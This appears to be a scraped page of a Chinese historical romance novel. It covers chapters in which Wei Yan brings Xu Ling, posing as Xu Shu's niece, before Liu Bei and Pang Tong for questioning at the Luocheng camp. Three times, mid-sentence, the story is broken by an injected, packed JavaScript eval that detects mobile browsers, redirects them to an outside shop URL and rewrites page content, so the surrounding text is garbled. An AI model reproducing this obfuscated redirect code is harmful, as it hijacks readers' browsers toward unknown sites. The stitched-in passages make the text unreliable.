徐绫的指尖如细雨浥尘般从魏延手背飘拂而过,他目不斜视,努力摆出一副无动于衷的样子,实则紧握缰绳完全不敢动弹。心原上一片茅草正在漫无目的地混乱疯长,草尖细密又扎人,到处毫无道理地钻来钻去,几乎要撑破他厚实的胸背。 他怎么会知道徐绫为什么要哄自己? 他甚至分不清徐绫到底还有没有在生气。 他不明白徐绫是因为已经气消,所以有心情开玩笑?还是因为仍在气头上,所以故意捉弄,进而享受他难堪狼狈的样子。 不对,徐绫蒙着眼,看不见他刚才那个肆意欢欣的笑,自然也不可能看见此刻进退无措的窘迫。 况且,徐绫怎么可能会哄他呢?那只是一句很寻常的恭维而已。 是他自作多情当成了与众不同的奖励,反而将自己那点难以名状的晦暗心思完全暴露出来。 为什么还没到中军大营?不是只有最后两里了吗? 魏延夹紧马腹,催动坐骑加快步伐。可驮着徐绫的那匹小红马,缰绳也在他手里。被这样一扯,虽然身经百战,很快重新踏正节拍,但错进错出之间,步幅还是乱了。魏延反应很快,立刻勒住缰绳,重新缓住双马。但徐绫因为失去了视觉,本就难以平衡重心,马儿猝不及防的颠簸几乎将她掀倒。听见她轻呼一声,魏延急忙探出胳膊,将她晃荡的肩膀扶稳。 隔着一层细布衫,徐绫硬实的上臂肌肉带着凶狠旺盛的力量撞来,魏延忍不住想按得更用力些,怕稍一松劲,就会被弹开。可又觉得自己粗糙的茧纹会剐蹭到她身上那件月白衣袍,于是匆匆收回。 马蹄踏过落叶,发出沙沙的闷响。 蹄印里,朝露渐晞。不远处,旌旗在望。 怎么就要到中军大营了呢?不是还有最后两里的吗? 营门前,魏延翻身下马,正要去扶徐绫,却见她单手撑着鞍鞯,腰身微拧、双腿一荡,整个人便轻盈落地。如此从容敏捷,再联想到她这一路的闲适神态,果然不可能是第一次骑马。晨间在刘封面前那般矫揉造作,又是演出来的。 魏延看向徐绫,本想调侃一句什么,却见她迎着山风亭亭而立,晨光洒在身上,勾勒出一圈淡金晕轮。 刘封会看到这样的徐绫么?一定看不到吧。 于是,一种窥见并独占了什么秘密的欢喜,又从他心底悄然滋生出来。 魏延走到徐绫对面,抬手虚虚遮在她额前,投下一小片阴影,另一只手去解开他亲自系上的结扣。布条滑落的刹那,徐绫下意识抬头,想看清周围环境。骤然接触到明媚阳光,她微微眯眼,长睫剧烈地颤动了几下。 她的额头与魏延手掌严丝合缝地贴合在一起,睫毛在他掌心扑闪如蝶。 魏延只觉手中落入一片细腻滑润的触感,紧接着,又是一下一下直抵肺腑的痒,从他皮肤表面飞快刷过。他忽然什么也听不见了,旁边核验手令的交谈、远处朝食造饭的喧嚣,都变得模糊而遥远,只有掌中的酥酥麻麻,震耳欲聋。 适应了光亮的徐绫悄然后退半步,离开了他手掌的投影范围。魏延垂手,顾左右而言他: “长公子给的梅干怎么没吃?不合口味?” 徐绫摇摇头: “我最喜欢这种酸酸甜甜的东西了。所以想省着点,以后慢慢吃。” 魏延翻了个白眼:自己实在多余问这一句。 “不要东张西望,跟我来吧。” 徐绫顺从地点头,垂下目光,被魏延从营门带到中军帐外约十几步远的地方。一位青年将官带队迎了上来,是魏延的同乡傅肜。他年纪比魏延稍长,朴拙威重,与魏延颇为熟稔,而且显然已经得知大概情况,无需多言就自然而然带领小队接手了对徐绫的看护。魏延略整衣冠,独自前往中军帐先行禀报。 厚重的帘幕近在眼前,迈进去,任务结束,搅乱心绪的源头就此消失。 然而,在他伸手的前一刻,脚步却不由自主地停住。 蓦然回首,目光穿过往来巡哨的兵卒,与徐绫投来的视线直直碰在一起。 她……是在看我么? 不一定。 或许只是望向中军帐,或许只是游弋时恰好扫过。 但这一瞬间,那双总是若有所谋的鹿眼里,确实映出了他的小小倒影。 中军帐内,下首作陪的是一位坐相随意的文士,手持一柄小扇,雅气晔晔。端坐主位的则是身着常服的刘备。他年已半百,面容蔼然却不怒而威。手里摩挲着那枚刻有昏以为期的玉环,温润的光泽在指间流转,映出眉宇间一缕缅怀往事的伤感之情: “自当年与元直在新野一别,想不到有生之年还能再见此环。” 听见刘备这声喟叹,魏延心念一动:所以自己到底还是猜错了?昏以为期,当真代指君臣之义? 他压下纷乱思绪,将追捕令和绢帛呈递上去,开始详细禀报擒获冯武团伙和徐绫的全部经过。只是省去了几次机锋交错,以及那个毫无证据却莫名笃信的新婚夜杀夫猜想。提及冯武口中的天子妃嫔之说,刘备露出明显的不悦之色: “夏侯渊臣属私事而已,竟敢拿天家做幌,可见曹孟德及其党羽平素在陛下面前何其跋扈嚣张。” 他冷哼一声,又看了看追捕令和绢帛,顺手递给身边的文士庞统: “士元有何见解?” 庞统放下小扇,双手接过,先迅速扫了一眼那两列小字,淡淡一笑: “双方生辰年柱,确实天作之合。” 魏延从心底迸出一声鄙笑:什么天作之合,那个短命鬼也配? 庞统在工笔仕女图和徐绫添加的夏侯称小像上凝神良久,眼中浮出一抹幽深笑意: “这画工倒是……不俗。不过文长为何不将此两卷与短剑玉环一同送来?” “禀军师,以某浅见,冯武此人粗鄙不堪,更辜负左将军恩德,死不足惜。然,按其供述,此追捕令与画像俱来自五斗米道。今张鲁与夏侯渊据秦岭而峙,此言若实,汉中对曹立场便极为暧昧可疑。如当真水火不容,岂会允许匪友之间层层转包、互递消息?若张鲁附曹,而我军未能速取成都,刘璋必亦附曹,则我军危矣。故而,某命冯武诈称已取得徐绫首级,待携此两卷与那匪友会面,探听虚实,预计旬日当有回报。” 庞统目露赞许,却没有说话,只是重新拿起小扇,缓缓摇着。有些话,还是主君来说更有分量。刘备自然会意,欣慰笑道: “早年间文长来投之时,我就劝他,除了勤练武艺,也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486424|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多读多思。今日有此考量,足见平时用功。” “明将军谬赞。” 魏延拱手行礼,神色散淡,对这番褒奖泰然受之。刘备把追捕令和画像还给他,又拿起那柄短剑,抽出来细细端详: “锋刃磨损至此,从关中到雒城,不知遭遇过多少血战,竟能全身而退,实属不易。元直剑术卓绝,看来这位贤侄也至少继承了七八分的功力。请她进来吧。” 魏延抱拳领命,转身径直走向徐绫。庞统端起案几上的陶碗,啜了一口,弯了弯嘴角:明明只需传令给帐外卫兵把人领进来就好,何须亲自去带?有趣。 徐绫静静站在那里,脸上并没有即将面见一方诸侯的紧张或惶恐,倒似乎是在出神。阳光将她的身影拉得斜长,魏延注意到,那件月白衣衫显得有些过于宽大。但他分明记得徐绫和刘封体型并没有差出这么多,尤其是腰线那里,此刻空出来好大一截,布料松垮地垂坠着,衬得她原本健秀的身材有些单薄伶仃。莫非是刚才骑马时颠簸所致? “左将军召见,随我来。” 魏延指了指她的腰间,提醒她整理一下。但若要完全调整妥当,只能将衣带解开、重新系过。在这众目睽睽之下,显然不太合适。于是徐绫只向内稍折,就与他一前一后朝中军帐走去。看着她略显局促的动作,魏延眼中闪过一抹怀疑:以徐绫的机敏深思,怎会让自己沦落到最后关头仓皇补救的境地?所以只有一种可能,她就是要用这副模样去觐见刘备。 “那枚玉环,左将军方才亲口证实,确系当年赠予徐先生旧物。因此,昏以为期四字,就是喻示君臣之义。” 魏延偏过头,用只有两人能听到的音量继续缠问这个话题。徐绫哑然失笑: “对啊,这典故,不还是我讲解给将军的么?” 魏延一怔:对啊,那自己为什么会记得玉环是婚仪之物? 徐绫歪着脑袋看他,眸中悄然浮现出魏延已经非常熟悉的促狭笑意。眨眨眼,朝他凑近一些。稍稍踮脚,将声音压低: “我起先就告诉将军玉环乃刘使君赠予伯父之物,之后又被将军逼问出新婚夜之事。但我可从来没说,玉环与新婚夜有什么关联。” 因为两人距离已经非常接近,魏延不仅听得更加清楚,还闻到了徐绫肩上七锦兰药粉的阵阵苦香,不由得心旌摇曳,赶紧退了半步。徐绫瞥他一眼,笑了笑,慢条斯理继续说: “看来,是将军自己,把我的话翻来覆去地反复琢磨,才会产生这些无端联想。” 翻来覆去 反复琢磨 魏延呼吸一窒,无所遁形的羞恼直冲颅顶,狠狠瞪着徐绫。对,徐绫没提过,是他自己把徐绫每一句话都掰开揉碎、咀嚼揣摩,试图从中品咂出更多意味,来填补自己因她而起的种种不安。最可恨的是,她竟然当着自己的面就揭穿了这一点,还拿来取笑! “魏将军。” 这是徐绫第一次带上姓氏称呼他,魏延不禁睁大了眼睛,只见她眼中闪着循循善诱的光,用满是鼓励的语气诱哄说: “以后若还有什么想不明白的事情,不如……直接来问我呢?” 直接问她? 什么都可以问她吗? 她什么都会回答吗? 8. 零八 雏凤清声 看到步入帐中的月白身影,刘备和庞统迅速对视一眼:这位小郎君的容貌神韵,确实与徐庶有几分相似。魏延侧身一步让开位置,沉声向徐绫介绍了两人身份,徐绫朝他微微点头,随即转向上首,恭谨躬身,深深长揖: “颍川徐绫,拜见左将军、庞叔父。” 徐绫尚未起身,就听见前方传来一记含义莫名的笑: “小郎君叫得如此亲近,我可不敢当。” 庞统用小扇掩住下半张脸,只露出一双明光闪烁的桃花眼,打量着徐绫。刘备看他一眼,轻咳一声,温言道: “徐家贤侄,你这衣衫似有些宽大,可是远行辛苦,暂借了文长的?” “禀将军,此衣乃长公子所赠。”一缕恰到好处的羞赧浮现在徐绫脸上,她有些局促地拢了拢衣襟,又拱手行了一礼,“长公子说,始终铭记元直伯父当年在新野的授业之恩,执意要为绫置办衣装行囊。绫数度坚辞,然长公子心意拳拳,实在却之不恭。” 刘备淡淡笑了笑,摩挲着手中玉环,眼中流露出欣慰之色,似乎为刘封这番举动背后的牵挂而动容。然而魏延心中却掠过一丝极其微妙的异样:刘封赠衣固然是事实,但他与徐庶的师生情谊有这般深重么?他看了看徐绫,月白衣衫的腰间褶皱已经被调整到身后,这让他忽然冒出来一个念头:这副不甚得体的模样,或许,就是为了勾起刘备的主动询问。 “建安十三年,伯父投奔曹公,公欲结亲以示恩宠。徐氏人丁单薄,唯绫年齿尚可。呈递生辰画像之后经术士掐算,竟与夏侯将军幼子极为合适,便约定待绫及笄之时正式成婚。谁知新婚夜夫君骤逝,夏侯将军执意要配冥婚。绫经伯父指点,逃往江陵投奔伯父旧友诸葛孔明先生。仓皇间不辨方向,流落在此,又遭山匪谋财,幸得魏将军与长公子救助,今日才能面见将军与军师。” 徐绫嗓音清凌凌的,像一层刚凝结的薄冰,表面十分平稳,带有初冬的寒凉,底部却因溪流推动而碎裂,适量倾泻出少许面对尊长应有的紧张与回想往事的后怕。刘备面露唏嘘之色,哀哀长叹一声。庞统仍然摇着小扇,目光始终定在徐绫脸上: “既是元直让你去江陵投奔孔明,除了这枚玉环为信,想必还另有手书?” 魏延看向徐绫,却见她不慌不忙,从袖中取出一卷帛书双手奉上。 哪里来的帛书?自己明明连她缠在髀侧的玉环都搜出来了,她还有什么地方可藏? 似乎能听见他想法一般,徐绫伸手在自己身前轻轻一划: “此书至关紧要,绫缠绕于胸口束带之下,从未示人。诸葛叔父以外,只敢面呈将军与军师。” 胸口束带之下? 魏延顿时回想起在氤氲的水汽旁徐绫说的那句:看也看了,摸也摸了。 原来那并不仅仅是被逼至绝境的反抗,更是一场博弈。徐绫在赌,魏延那时只想确认性别,不至于做什么冒犯之举。因此与其被他仔细搜看发现端倪,倒不如主动暴露,甚至不惜用言语反激,就是为了让他情绪震荡,故而无法注意到层层布料之下还另有玄机。 好深的心机,好大的胆魄。 魏延胸膛起伏,缓缓呼出一口浊气。 既然徐绫如此洞若观火、深谙人心,自己那些翻来覆去、那些反复琢磨,在她眼里,该是一番极其好笑的景象吧。 刘备与庞统的目光都落在那卷帛书上,笔迹确实属于徐庶,但深一块浅一块的水渍、已经发暗的汗污以及几点褐色的干涸血痕,使得部分词句模糊难辨。即使是能看清的部分,也前言不搭后语,无法通读。两人稍加思忖,随即了然:徐庶与诸葛亮都是聪明绝顶的智士,这封信多半以他们早年相交时约定而成的某种密语写就,外人很难破解。不过眼下诸葛亮并不在雒城,而是率兵西上,以期与大军分进合击、直取成都,此时应当在江州附近。即使立刻送出,至少也要一个月才能收到回复。 这些军机要务,两人自然无需对徐绫解释什么,只是心照不宣地保持了沉默,让帐中气氛显得更加凝重。庞统将帛书重新卷好,小心收入袖中,脸上看不出有什么情绪,抬眼望向徐绫时,却分明带着审视: “新婚夜,你如何发现夫君身死?” “禀军师。当晚,夫君饮宴归来,醉得厉害。我心中不安,便遣仆从去取些醒酒汤来。回到榻边想为他宽衣解带时,却发现已经没了气息。原以为只是晕厥,可等了一会儿,躯体竟慢慢转凉,这才明白是出了祸事。” “夏侯渊既决意令你殉葬,守卫必然森严,你如何逃脱?” “军师所言甚是,若被夏侯渊看管,恐怕确实无法脱身。可当时夫君暴卒,我惊骇万分,寻了处守卫松懈的角落,连夜就翻墙出府去了驿馆找伯父。至于殉葬之事,是次日才从伯父口中得知。于是,他写了那封手书给我,让我赶紧逃命。” “夏侯渊乃曹操心腹爱将,他府邸危门高墙,如何就能轻易翻越?即便因小郎君新婚,确有守卫一时失察。但长安城是他驻军之所,又战事频繁,定然宵禁严格、巡更紧密,你如何一一躲过?” 庞统一下一下摇着小扇,力度均匀、语气平和,眼神却锐利如刀。徐绫抬起头,不闪不避地坦然迎视回去: “伯父入曹以后不愿献策,就长居家中教我武艺。因此,翻越府墙、隐匿行踪对我而言并非难事。”她微一挑眉,扬起下颌,眉眼间隐约透出不容置疑的傲气,“两天前,我曾与魏将军交手。武艺如何,想必他当有判断。” 魏延正欲开口补充,庞统却轻轻抬了抬手中小扇,示意无需多言,转而继续盘问徐绫: “你既然本意是去荆州投奔孔明,为何却来到了益州腹地?” 徐绫无奈叹了口气,颇有些懊恼于自己当时的无知: “夏侯府在关中盘查甚严,我只能不断绕行、专拣僻静处行走,好不容易从一片大山中钻出,向人打听才知道,竟是到了汉中。幸好那里的义舍有米肉供给往来路人,我就在那里住了许久,将大部分带出来的首饰都换成了碎金。甚至还考虑过,若能在那里隐姓埋名、长久住下,也并无不可。谁知好景不长,夏侯府的人竟一路追去了汉中,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486425|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才不得不打消念头,继续赶路。” “汉中?” 庞统发出一声短促嗤笑,身体微微前倾,手中小扇戟指徐绫: “张鲁如今正与夏侯渊对峙,双方剑拔弩张。夏侯府的人,怎么能大摇大摆出现在张鲁的腹地汉中?” 魏延知道,庞统这是故意使诈。 据冯武供称,那幅绢帛画像来自五斗米道。要么是直接从夏侯府取得,要么再经由一层关系拿到。如果是直接从夏侯府取得,反而能够与徐绫的说法互相验证,也更加说明张鲁虽与夏侯渊对峙,但态度暧昧,确实随时有降曹风险。 可徐绫又不知道冯武供词,她若在这个问题上也编出什么花样,那就太可疑了,甚至足以推翻此前那些对答如流。然而刘备始终不发一言,难以捉摸,庞统又不给她喘息之机,就是要看她是否还敢坚持原本的说法,哪怕会让她看似落入极端不利的境地。 徐绫皱眉沉吟良久,好像真的被问住了。中军帐内,一时间落针可闻。 “军师动中肯綮,只是我也不知那人为何会在汉中……但我绝不会认错,我看到的那位就是夏侯府的人!” 徐绫急切辩白着,脸上飞过一抹霞红,眼神若有若无扫过刘备,似乎盼着他能顾念旧情,别因为一个无法回答的问题就将她弃之不顾。将她难得的慌张模样尽收眼底,庞统好整以暇,继续轻摇着小扇,桃花眼里波光粼粼。 徐绫是演的么?无所谓。 夏侯府的人,这个话头可是她抛出来的。 如果不是,说明清清白白。 如果是,那不仅清白,而且深谋大胆,更有趣了。 庞统没再追问夏侯府与汉中,而是转回到徐绫离开长安之后的那段行踪,开始询问细节。 山中露宿,如何选择宿处? 山涧河流无桥无舟,如何野渡? 深山林密若遇猛兽,如何躲避? 面对这一连串追问,徐绫反而松了一口气,开始从容不迫娓娓道来。 关于如何判断风向,选择背风近水的视野开阔之处。 关于渡河时如何观察水势,剥取兽皮吹制成筏、再用树皮拧成绳索捆扎。 说到路遇猛兽时,她甚至还越说越起劲,开始兴致勃勃地描绘那晚的情形: “狼群不肯离去,我就用苔藓和绒草引燃了篝火,与那匹头狼对视了整整一晚。天快亮时,柴禾将尽,我拎起一根火星未灭的树枝朝它丢去,趁机从它张开的吻侧斜刺进去,直至短剑没柄。头狼死后,狼群便难以像之前那样围得密不透风,我就趁机逃了出去。” 篝火将熄未熄之际,暴起,斩杀头狼。 魏延忽然觉得,这番描述与他记忆中某个场景惊人的一致:两天前,林间月下,徐绫被他掷出的长刀断绝去路,深陷重围。 之后徐绫是怎么做的? 与他距离极近之时,跃起,斩杀头狼。 对那时的徐绫而言,我就是那匹头狼。 那么,当她对别人谈起我们的初遇时,也会这样兴致勃勃吗? 9. 零九 故人之姿 徐绫说完夜遇狼群的故事,中军帐陷入一片短暂的安静。庞统自己给陶碗里添满了水,一口一口慢慢啜饮,偶尔瞄一眼似乎已经神识出窍的刘备。只见他指腹在玉环的昏以为期刻字上反复摩挲,目光幽深,仿佛透过这种触感,可以联结到六年前送别徐庶的那片桃花林。魏延知道,刘备这种时候,往往是在衡量。 可徐绫有什么好衡量的呢?她只是一个小女郎。要么信任她,转送葭萌城与其他军眷住在一起。要么不信,或是觉得她与夏侯渊之间的纠葛太过麻烦,那把她撵走、任其自生自灭就好。刘备如此审慎,难道另有安排? “子衿贤侄,看来,元直平时没少跟你讲他年轻时仗剑游历那些轶事。你记性也不错,竟能复述出这么多细节。” 庞统摇着小扇,重新开口。虽然眼里含笑,却令人不寒而栗。徐绫所言明明细节详实,可信度极高,魏延出身寒微,自问若是他来回答,也不会比徐绫讲得更好。庞统居然从根本上提出了质疑,这不是盘查,分明是诛心。而且他怎么能一边喊着贤侄,承认了徐绫的身份,一边又这样咄咄逼人。莫非与徐庶有什么不为人知的过节,所以故意刁难他的族侄? 魏延觉得自己必须要说点什么,既然徐绫是自己带来的,那自己就对徐绫负有责任。 他抱拳一礼就要开口,徐绫却先说话了,还不忘朝他递来无需担心的安抚眼神。 等等,到底谁在安抚谁啊? “八百里秦岭,险峻异常。绫孤身一人,又是首次远行。既没有舆图指引,又要时刻躲避追杀。最终能平安抵达汉中,如今回想起来,一则确实运气不错,二则诚如庞叔父所言,仰仗伯父平日悉心教导。” 她神色坦然,顺着庞统的话,也以叔侄相称,对那番夹枪带棒丝毫不以为意,指了指桌案上那柄短剑,继续说: “此剑亦是伯父所赠,名曰嗣音,乃绫之及笄与新婚贺礼。为铸此剑,伯父将其平生游历所得诸多珍奇尽皆熔锻,浇灌于此,故而不锈不腐,锋利异常。这一路上,绫防身保命、砍柴狩猎,乃至剥皮割草,全赖此剑。” 她转向刘备,再次躬身长揖。虽然低腰敛首,但动作优雅,没有半点卑顺之态。魏延从未见过徐庶,但看着徐绫,就能轻而易举地想象出她伯父该是何等风貌。他又想起了没送出去的越罗青袍,原来真正的名士不需要华服装点,也能如此气度卓然。 “伯父曾与绫言,春秋大义煌煌,亦有史官曲笔。故而,战报奏对,皆可饰诈。然山川行军之迹,实难掩藏。是以,为将帅者,当察炊籍阵图、验兵甲损牍,与奏报互相比对,方可辨明真伪。” 徐绫稍稍停顿,扫了一眼刘备手中的玉环: “伯父常言,左将军乃知兵之主,亦是懂剑之人。将军案前此剑,即绫之阵图。绫方才所言是否有欺,将军以此验之,立判分明。” 徐绫站姿挺拔,目光清亮,隐隐显露傲然之色。一番话既暗含了徐庶对刘备的称赞与相知,又底气十足,带着少年人的昂扬锐利。现在固然是她在求人庇护,但面对这样志在天下的主君,一昧的讨好示弱反倒会令其兴致缺缺,还不如适当彰显锋芒,或许才更称心意。既然这样,那便言尽于此,无需再辩白什么。 “聆子衿数语,宛如元直在侧。” 刘备慨叹一声,视线终于离开了玉环,带着无尽的缅怀,轻柔地落在徐绫身上。他早就仔细看过那柄短剑,人会说谎,剑却永远诚实,上面的每一处痕迹都告诉了他,剑主经历过什么。其实从徐绫踏入营帐的那刻起,他对其出身的疑虑就已经烟消云散。如此故人之姿,怎么可能不是故人之子。 徐绫垂眸肃立,低声应了一句“不敢当”。刘备笑了笑,眼中的怜悯与关切,又悄然化为更有深意的考量。 “先锋营敌袭频繁,太过凶险。文长与公培亦有要务在身,无法时时照看,子衿还是暂留中军营吧。文长,去请伯鱼进来。” 魏延抱拳称是,转身去帐外传召傅肜。他原本以为,徐绫的徐庶族侄身份至少已然坐实,刘备与徐庶之间也确有旧谊,那距离雒城最近的军眷安置之所就是霍家兄妹镇守的葭萌城。中军营虽有重兵屯驻,但也不过是相较于先锋营更为安全,哪里比得上可以凭借城墙据守的雄关险隘呢? 与徐绫擦肩而过时,魏延迫不及待地抬眼,试图给她带去一点安慰。中军营排列紧密、巡防严实,傅肜是自己同乡,忠勇恳切,值得信赖。可徐绫却湛然若定,脸上不仅没有一点担心,反而满是总算尘埃落定的确幸。 这不对吧,到底是哪个环节出了问题?自己漏听什么了吗? 魏延把傅肜带进营帐,刘备郑重嘱托道: “伯鱼,这位徐小郎君远道来投,一路辛苦。你要多费心,从部曲里精挑细选两个稳妥人手,收拾一间小帐给她暂住。不要怠慢,但也别让她到处乱跑。” 傅肜沉声称是,刘备又示意他上前,将那柄短剑递去: “此剑乃徐小郎君至关重要之物,你代为保管,慎勿遗失。至于归还之期,且待后令。” 魏延注视着傅肜双手接过嗣音剑,心头忽然漫过一片深深的懊悔。他将这柄剑交给斥候之前,为什么没有用细布将那些血污擦拭一空,为什么没有用磨石将布满斫痕的剑刃砥砺如新?如果那样,是不是就能留住更多关于这柄剑的记忆?毕竟,那是她用来斩杀自己这匹头狼的武器,是他们之间稀薄缘分的唯一凭证。代为保管,要保管到什么时候?徐绫没有了短剑,不就像是小狼没有了利齿和爪牙吗? 所以……刘备才要亲自嘱托给傅肜! 魏延福至心灵,一下子想明白了许多事。傅肜,作为刘备的近身亲兵,负责的是中军帐护卫,不是随便什么人前来投奔,都会交给他看顾的。而且收缴武器、核查背景,这绝对不是对待军眷的做法,倒更像在甄别降将。 刘备看到的,并不是一个孤身来投的少女徐绫,而是有望成为第二个徐庶的璞玉徐绫。 嗣音,承继先闻、如响应声。 甚至于庞统那些近乎刁难苛责的问题,多半也只是为了帮助刘备更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486426|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好地做出判断。以庞统和徐庶的交谊之深,当然也可以在一片春风化雨的和乐融融之中,让徐绫侃侃而谈。但这种纸上空论,未曾至难至险,如何得见盛景? 徐绫一定是意识到了这些,所以最后才会露出那样的放松姿态。 魏延眉目舒展,终于放下心来。 果然啊,像这样一柄外表雍容华贵、内里寒芒凛冽的利剑,刘备怎么会不喜欢呢,怎么会不跟他一样惊叹赞赏呢? 他偷偷瞄着徐绫,朗星似的眸里泛出许多与有荣焉的欢喜,却又逐渐品味出更多的寥落。 徐绫在强压之下依然瞬息之间就了悟的事情,自己直到此刻才想明白。虽然她还要被软禁等待查证,但那都只是时间问题,刘备特意把她留在中军营,可不是当成监牢的。 先锋营虽然只相隔四五里,策马片刻可至,但各有职司,不能随意往来。自此别后,他们还会再见么,下次见面会是什么情景呢,她……还会希望再见么? “徐小郎君,这边请。” 傅肜侧身向徐绫示意了一个方向,徐绫颔首,再次向刘备和庞统躬身行礼: “承蒙左将军、庞叔父高义,绫感激不尽。” 刘备抬了抬手示意免礼,庞统的小扇悠悠荡荡,却未置一词。徐绫转过身,跟着傅肜向帐外走去,离魏延越来越近。魏延魁梧的身躯逆着光线站在那里,让人看不清表情,只有他自己能听见胸腔满溢出来的阵阵鼓噪。 徐绫在距离他两步远的地方停下,那是帷幕内外的交界处,身上一半落满灿烂晖光,一半洇开沉沉暗影。她对着魏延,同样端正地行了一礼: “承蒙魏将军关照。” 关照?除了那些徒劳无用的琐事和自以为是的援手,他还关照了些什么呢? 魏延苦笑着摇摇头,抬手虚扶一下。两人礼数周到、态度体面,似乎要将本就不多的过往一笔勾销。这两三天对徐绫而言,会不会就如同新婚夜一般,是不愿提及的噩梦? 徐绫随着他的示意直起身来,月白衣衫的袍袖太过宽大,被她的动作带起,从魏延抬起的手臂上飞掠而过。布料沾染了太阳的热意,拂过指间,弥留下挥之不去的余温。 就在这时,一阵熟悉的敲击,细细密密落在了他的手背,淅淅沥沥如落雨。 那是徐绫的指尖,与清早来时一模一样。 不,也不完全一样。 相比于那时的抚蹭,这次的敲击更加用力,带有明确的安抚意味。但也更加短暂,袍袖收回,徐绫从他身边走过,再未停留,嘴角噙着那抹熟悉的狡黠笑意。 这是在干什么? 你为什么会觉得我需要安抚? 魏延半张脸隐在阴影里,一双眼睛却亮得出奇。 他受够了猜来猜去这些似是而非的小动作,猛然转身,想去抓徐绫的肩膀,然后盯着她的眼睛,把自己的满腹疑问、把那些无法排遣的挣扎,不管不顾地全扔给她。 你不是说有问题可以直接问吗? 那我现在就要问! 10. 一零 金雀之笼 魏延转身朝帐外跨出一步,已经爬升到头顶的太阳刺得他微微眯眼,脚步随之一缓。 “文长。” 庞统的声音从背后响起,并不嘹亮,但清晰明净,让魏延被无数复杂情绪反复撩动的混乱神智瞬间为之清明。 他怎么敢追出去?太荒唐了。 且不说那些问题徐绫会不会回答,对她而言,在众目睽睽之下被迫面对那些问题,这样的场景本身就是莫大的危险。 他得到了一个回答又能怎样,无论如何都不该把徐绫推到如此境地。 魏延深深吐息一口气,回到中军大帐,肃然行礼。庞统的桃花眼在他身上巡望一圈,并没有点破什么,佯作无事般随意问道: “宿麦播种得如何了?” “已遵照军师吩咐,安排兵丁轮值开耕,亦招揽不少附近流民,再过几天就能长出麦苗。流民之中或混有细作,不过可疑之人都已在某掌控之中。张任派人远远看过,见我军守备严密,尚未敢来进犯。” 雒城作为广汉郡治所,城高墙厚,距离成都仅数十里。主事刘循是刘璋之子,张任是他最为倚重的大将,麾下兵卒都招募自益州本土,是成都以北最难攻克的屏障。随着绵竹守军不战而降,雒城已经是刘璋最后的抵抗希望,因此粮草辎重兵丁,源源不断从成都运去支援。 见此情形,庞统心知,速克已不可能。故而偏要摆出一副长期对峙的决心,激发张任的袭扰之念。一旦他得了便宜,就难免想夺取更多好处,只要能诱使他率主力出城,离破城之日就不远了。即使张任不为所动,待诸葛亮的西路大军合围,成都压力陡增,雒城失去倚靠,粮储见底,也只剩下主动搦战这一条险路。 “禀军师,以某浅见,此前攻城不利,除却雒城本身坚固,城外雁江亦是难攻。” 庞统展开舆图,魏延上前简单一瞥,很快指了一个位置: “此处一片芦苇河滩,彼藏身于此,可在我军过河时半渡而击。然则若放火烧草,不仅风向难料,而且用时良久,亦不符兵法有云:绝斥泽,唯亟去无留。故某以为,当大量打造壕桥长牌,以备浅渡而战。一旦敌军过桥,我军即可两边夹击,将彼截为数段。不过,张任乃益州名将,大量伐木必会引起怀疑。好在即将越冬,本就需要燃木屯草。不如就以清剿山匪为名,在那片擒获了徐小郎君的树林伐木燃地,一则扩展视野,避免敌军绕后偷袭,二则为屯田积攒肥料。” 魏延的手指移向不远处标注的一片林地,又补充道: “此外,雒城斥候若探知我军先锋营动向频繁、人员分散,必有将领献策出城滋扰。” 一直在旁边认真倾听的刘备点了点头表示赞同,但仍抚摸着胡须,似在想些什么。庞统只一眼,随即了然,问道: “明将军可是忧心先锋营抚恤之事?” 刘备轻叹一声,算是默认。 为了诱使雒城守军出城决战,自然要先示之以弱,让对方以为有机可乘。但那些诱饵,也都有父女妻小。 庞统摇了摇小扇,说道: “幼卓已从葭萌关出发,不如请文长这几日多辛劳,将先锋营家书尽皆备好,请她归时务必优先送到。” 魏延抱拳应是,刘备喟叹一声,嘱托道: “我素知文长骁勇,五斗米道与关中的勾连固然值得警惕,但无需太过费心,更不可孤身犯险。张鲁苦心修筑白马城和阳平关,岂会轻易投附曹操?文长监管诸事,我再调拨文进一部,听你节度。” 文进,是张南的表字。张南是傅肜的副手,都是当年与魏延一起投奔刘备的义阳同乡,也是刘备的近身亲兵。把这样一个人划归到自己麾下,意味着什么不言自明。尤其是在刘封以公子之尊空降的情况下,确立魏延在先锋营的绝对权威,就更加重要。魏延抬头惊望刘备一眼,眼眶不由得泛起阵阵热意,他单膝跪地,声音有些哽咽: “延,愿为明将军死战。” 